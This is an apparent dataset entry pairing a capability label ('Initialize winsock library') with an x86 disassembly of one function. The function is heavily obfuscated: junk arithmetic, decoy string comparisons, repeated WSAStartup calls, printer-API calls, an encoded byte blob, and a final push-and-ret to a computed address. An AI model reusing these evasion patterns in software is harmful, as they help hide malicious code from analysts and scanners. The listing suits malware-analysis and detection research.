Function at 0x40ad2f
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push edi
push esi
call fcn.0040a3f0
push 0x424132
push dword [ebp - 0x2c]
mov dword [0x4243ef], 0xa2d
inc dword [0x4243ef]
mov ecx, dword [0x4243ef]
mov dword [0x424896], ecx
push dword [ebp - 0x3c]
mov dword [0x424513], 0x42f
push dword [0x424513]
pop esi
and esi, 0xffff
mov dword [ebp - 0x10], esi
push 0x4249cd
call fcn.0040a1c8
push 0x42293e
push str.HjgrupwW
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
mov dword [0x42491c], eax
mov dword [0x424890], 0x1bc
inc dword [0x424890]
or dword [0x424890], 0xa99
je 0x40adbf
sub dword [0x424890], 0x4b
mov ebx, dword [0x424890]
mov dword [0x4246ad], ebx
mov edx, 0xf26
sub edx, dword [0x421c66]
mov dword [0x4244b4], edx
mov ebx, 0x21f
add ebx, 0x668
push ebx
pop dword [0x424944]
mov esi, 0x87b
shr esi, 2
mov dword [0x424a18], esi
push str.MwzW
push 0x4225bf
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
mov dword [0x42491b], eax
push str.pVoJVWb
push str.PIJe
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
mov dword [0x424281], eax
push dword [ebp - 0x24]
push 0x4248a9
lea edx, [0x3c]
push edx
call fcn.0040a004
call fcn.0040a1b4
push 0x101
push 0
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x4241e1], eax
push 0x101
push 0
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x424534], eax
push 0x42317f
push str.viTDvgS
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
mov dword [0x424178], eax
mov dword [0x424c80], 0x5d75811b
call fcn.0040a1b4
mov eax, 0xc34
mov dword [0x424724], eax
inc dword [0x424724]
mov edi, dword [0x424724]
mov dword [0x424509], edi
push 0x4246db
push edi
mov ecx, 0xac1
sub ecx, 0x13c
mov dword [ebp - 0x38], ecx
push 0x4240f0
call fcn.0040a004
mov dh, byte [0x4217dc]
cmp dh, 0x12
je 0x40af70
push 0x10
push 0x40
push 0x4249fb
push 0x40
push edi
call fcn.0040a390
dec eax
mov dword [0x4240e9], 0x3e6
sub dword [0x4240e9], 0x4d
test dword [0x4240e9], 0xe92
je 0x40af06
or dword [0x4240e9], 0x5e
mov ecx, dword [0x4240e9]
mov dword [0x424436], ecx
push dword [ebp - 0x2c]
call fcn.0040a138
inc edx
xchg ebx, edx
inc edi
test esi, esi
mov ebx, 0xbb5
mov dword [ebp - 0xc], ebx
cmp ebx, 0x35
je 0x40af30
ror ebx, 9
push ebx
pop dword [0x424824]
mov dword [0x4246a7], 0xd9
or dword [0x4246a7], 7
push dword [0x4246a7]
pop edi
mov dword [ebp - 0xc], edi
mov dword [0x4245b0], 0x93e
and dword [0x4245b0], 0xfff
mov eax, dword [0x4245b0]
mov dword [0x42450a], eax
push 0x101
push 0
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x424999], eax
mov ebx, 0x90
mov dword [0x42417d], ebx
mov ecx, dword [0x42417d]
mov dword [0x424985], ecx
add dword [0x424c80], 0xa2cb34df
push 0x4218cf
push str.Dixp
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
mov dword [0x424507], eax
lea edx, [0x22]
push edx
push dword [ebp - 0x3c]
push edi
push ebp
push 0x423fce
call fcn.0040a390
push ebp
push 0x70
lea edx, [0x6f]
push edx
push 0x30
push 0x42463f
call fcn.0040a390
push edi
push 0x10
push dword [ebp - 0x48]
push dword [ebp - 0xc]
lea edx, [0x58]
push edx
call fcn.0040a390
mov edx, 0x8a8
add edx, dword [0x421dec]
mov dword [0x42482e], edx
push dword [ebp - 0x28]
push dword [ebp - 0x38]
mov eax, 0x874
sub eax, 0x5c8
mov dword [ebp - 0x1c], eax
mov dword [0x42488a], eax
push dword [ebp - 0x4c]
call fcn.0040a004
call fcn.0040a3f0
push 0x101
push 0
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x424723], eax
push dword [0x4217e3]
push dword [0x421f29]
push 0x421084
call dword [sym.imp.WINSPOOL.DRV_AddPrinterW]
push eax
push eax
push eax
push 0x421f6c
push eax
call dword [sym.imp.WINSPOOL.DRV_SetPrinterDataA]
lea ecx, [0x42204a]
mov byte [ecx], 0x2a
mov byte [ecx + 1], 0xd
mov byte [ecx + 2], 0x47
mov byte [ecx + 3], 0x11
mov byte [ecx + 4], 0x5d
mov byte [ecx + 5], 9
mov byte [ecx + 6], 0x3e
mov byte [ecx + 7], 0x4f
push dword [0x422fca]
push dword [0x42301c]
push 0x421790
call dword [sym.imp.WINSPOOL.DRV_AddPrinterW]
push eax
push eax
push eax
push str.kVIIbypqfTD
push eax
call dword [sym.imp.WINSPOOL.DRV_SetPrinterDataA]
call fcn.0040a1b4
mov dword [0x4247a1], 0xcb8
inc dword [0x4247a1]
mov edx, dword [0x4247a1]
mov dword [0x42442f], edx
lea edx, [0x34]
push edx
call fcn.0040a138
push 0x423fe1
mov edx, 0x66f
ror edx, 0x12
mov dword [ebp - 0x48], edx
push 0x20
push 0x4241d1
push 0x10
push 0x20
call fcn.0040a390
call fcn.0040a1b4
lea edx, [0x2f]
push edx
call fcn.0040a138
mov dword [0x4240f1], 0x54a
dec dword [0x4240f1]
add dword [0x4240f1], 0x7a
mov edi, dword [0x4240f1]
mov dword [0x42434b], edi
mov ecx, 0xa70
shr ecx, 3
and ecx, 0xff
mov dword [0x424554], ecx
push 0x20
call fcn.0040a138
mov ecx, 0xe33
sub ecx, 0xb75
mov dword [ebp - 0x24], ecx
mov edi, 0x2cf
add edi, 0xe4
mov dword [ebp - 0x2c], edi
mov dword [0x4242e3], edi
mov ecx, 0x6aa
and ecx, 0xffff
shr ecx, 2
mov dword [0x424738], ecx
mov dword [0x424272], 0x842
or dword [0x424272], 0x45
test dword [0x424272], 0x455
jne 0x40b1a7
dec dword [0x424272]
mov esi, dword [0x424272]
mov dword [0x424111], esi
push 0x70
push ebp
push esi
lea edx, [0x17]
push edx
push 0x60
call fcn.0040a350
mov dword [0x4247fd], 0x86f
mov ebx, dword [0x4247fd]
add ebx, 0x548
push ebx
pop dword [0x424773]
push dword [ebp - 0x40]
mov ebx, 0x716
push ebx
pop dword [0x424769]
mov edx, dword [0x424769]
mov dword [0x424784], edx
push esp
push edi
mov dword [0x424a19], 0x6e6
or dword [0x424a19], 0x1a
mov edi, dword [0x424a19]
mov dword [0x42464f], edi
push ebp
call fcn.0040a1c8
push 0x6d0ff1d2
mov esi, 0x187a
mov ecx, 0xc9e
mov dword [0x4245e5], ecx
mov ebx, dword [0x4245e5]
mov dword [0x424a18], ebx
mov ecx, 0x41d
ror ecx, 1
shl ecx, 8
push ecx
pop dword [0x42441f]
sub esi, 0x12f
mov dword [0x424393], 0x666
dec dword [0x424393]
add dword [0x424393], 0x26
mov edx, dword [0x424393]
mov dword [0x4241ed], edx
add esi, 0xc2f
mov dword [0x4241f8], 0x2ec
dec dword [0x4241f8]
mov ebx, dword [0x4241f8]
mov dword [0x4241f9], ebx
add esi, 0x1ec
mov dword [0x42437e], 0xf6b
add dword [0x42437e], 0x25
cmp dword [0x42437e], 0x23
jne 0x40b2c6
dec dword [0x42437e]
mov edx, dword [0x42437e]
mov dword [0x424468], edx
mov dword [0x4245b2], 0xef7
inc dword [0x4245b2]
mov ebx, dword [0x4245b2]
mov dword [0x42417b], ebx
sub esi, 0x2526
mov ebx, 0x131
shl ebx, 3
mov dword [0x424270], ebx
shl esi, 0x10
mov dword [0x4249d1], 0xdaf
sub dword [0x4249d1], 0x60
or dword [0x4249d1], 0x2b
jne 0x40b325
inc dword [0x4249d1]
mov edx, dword [0x4249d1]
mov dword [0x42453f], edx
mov dword [0x42479b], 0xdd
dec dword [0x42479b]
cmp dword [0x42479b], 0xf
jne 0x40b354
and dword [0x42479b], 0xffff
mov edi, dword [0x42479b]
mov dword [0x423f8d], edi
mov dword [0x424458], 0x251
push dword [0x424458]
pop ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x48], ecx
add esi, 0xa405
mov ecx, 0xdfc
push ecx
pop dword [0x424969]
or dword [0x424969], 0x6a
je 0x40b399
add dword [0x424969], 0x1a
mov edx, dword [0x424969]
mov dword [0x424202], edx
mov ecx, 0x3e4
shr ecx, 1
mov dword [0x4248d2], ecx
mov ecx, 0xe9d
sub ecx, dword [0x4228cf]
add ecx, 0x4f5
mov dword [0x424382], ecx
push esi
push 0
mov edx, sym.imp.user32.dll_EnumDesktopsA
call dword [edx]
mov dword [0x4249ed], eax
push dword [ebp - 0x50]
push dword [ebp - 0x10]
push 0x60
push dword [ebp - 0x30]
push 0x20
call fcn.0040a390
call fcn.0040a3f0
mov dword [0x424181], 0xb13
dec dword [0x424181]
sub dword [0x424181], 0x5d
mov ebx, dword [0x424181]
mov dword [0x424840], ebx
mov dword [0x424358], 0x588
and dword [0x424358], 0xfff
mov esi, dword [0x424358]
mov dword [0x4249f8], esi
mov dword [0x4247a8], 0xda6
mov esi, dword [0x4247a8]
shl esi, 8
mov dword [0x4247b4], esi
lea edx, [6]
push edx
push 0x42452a
lea edx, [0x1d]
push edx
push 0x50
call fcn.0040a1c8
mov esi, 0x42486d
mov dl, byte [0x422266]
cmp dl, 9
jne 0x40b51c
inc edi
push ebp
push 0x10
mov dword [0x42487e], 0xd30
add dword [0x42487e], 0x1c
test dword [0x42487e], 0x533
je 0x40b4a1
push dword [0x42487e]
pop ebx
push ebx
pop dword [0x4240bd]
push 0x4246a8
push esi
mov dword [0x424041], 0x8e3
inc dword [0x424041]
sub dword [0x424041], 0xd
mov edi, dword [0x424041]
mov dword [0x4247b1], edi
push esi
call fcn.0040a390
xor ebx, ebx
dec edi
mov ecx, 0x7d5
sub ecx, dword [str._gm_O]
mov dword [ebp - 0x48], ecx
mov dword [0x424901], 0x93e
dec dword [0x424901]
mov edi, dword [0x424901]
mov dword [0x42447c], edi
mov dword [0x424a24], 0x940
push dword [0x424a24]
pop edi
push edi
pop dword [0x4248e2]
mov bl, byte [0x422dc2]
cmp bl, 0x74
jne 0x40b5d9
push 0x40
push 0x50
push 0x30
push eax
call fcn.0040a1c8
inc edx
push dword [ebp - 0x48]
mov dword [0x424a00], 0xe2d
sub dword [0x424a00], 0x1a
test dword [0x424a00], 0x60
jne 0x40b55e
inc dword [0x424a00]
mov edx, dword [0x424a00]
mov dword [0x4243b2], edx
push eax
push dword [ebp - 0x40]
lea edx, [0x28]
push edx
call fcn.0040a1c8
cmp al, 0xdf
and edi, esi
dec edx
push ebx
push eax
push eax
call fcn.0040a004
mov edx, 0x91b
add edx, 0xb6a
mov dword [0x4241e6], edx
mov dword [0x4241a8], 0xbff
and dword [0x4241a8], 0xff
mov ecx, dword [0x4241a8]
mov dword [0x42485c], ecx
mov dword [0x42434b], 0xf18
and dword [0x42434b], 0xfff
mov edx, dword [0x42434b]
mov dword [0x4249ad], edx
inc edx
mov dword [0x4249dd], 0x40a
mov edx, dword [0x4249dd]
ror edx, 0xb
push edx
pop dword [0x424152]
push dword [0x424c80]
ret